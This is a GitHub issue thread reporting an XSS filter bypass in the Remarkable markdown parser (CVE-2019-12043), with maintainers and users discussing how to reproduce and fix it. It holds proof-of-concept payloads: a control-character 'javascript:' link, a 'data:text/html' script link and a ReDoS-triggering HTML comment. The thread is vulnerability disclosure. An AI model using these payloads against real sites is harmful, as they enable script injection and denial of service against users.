[Security] bad url bypass, could lead to XSS

[trichimtrich]

Hi, check out this reported issue
#227

Im able to bypass the bad url check, implemented here
https://github.com/jonschlinkert/remarkable/blob/master/lib/parser_inline.js#L146

var Remarkable = require('remarkable');
var md = new Remarkable();

console.log(md.render(`# Remarkable rulezz!
[click me](\x0ejavascript:alert(1))
`));

It will generate output like this

<h1>Remarkable rulezz!</h1>
<p><a href=" javascript:alert(1)">click me</a></p>

Which could pop up an alert when user clicks into it.

Fix: maybe we can strip unprintable character around the url scheme?

[jonschlinkert]

Thanks for the issue. Would you want to do a pull request?

[reintroducing]

This triggered a GitHub security vulnerability notification in one of my repos today. Any chance that this can get fixed and republished?

[rikoe]

Is there any update on this high severity vulnerability? It would be great if this could be fixed ASAP.

[sundowndev]

Still not fixed. But why this snippet does not produce the expected issue ?

Tried using @trichimtrich's code and #227. None of them work on Firefox.

# Remarkable rulezz!

[click me](\x0ejavascript:alert(1))

[xss](data:text/html,<script>alert(1)</script>)

[rikoe]

The xss one works for me in Safari but not in Chrome. There is likely something in Chrome preventing such an attack?

The first one doesn't work for me on the demo page, because it is turned into the URL https://jonschlinkert.github.io/x0ejavascript:alert(1) which then returns a 404 (not sure why). I am therefore not sure if it can be proved through the demo page...

[rikoe]

@sundowndev there are two CVEs open currently:

• CVE-2019-12041 which references [Security] Regex DoS vulnerability in parsing html tag #331
• CVE-2019-12043 which references [Security] bad url bypass, could lead to XSS #332 (this issue)

Both these issues were raised based on calling md.render from JavaScript, so that should be the way to test it I think.

I think I was able to replicate both these issues by using:

# Remarkable rulezz!
[xss](data:text/html,<script>alert(1)</script>)
<a>z</a><!--aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa--->

The comment line makes the demo page hang if I turn the "html" flag on.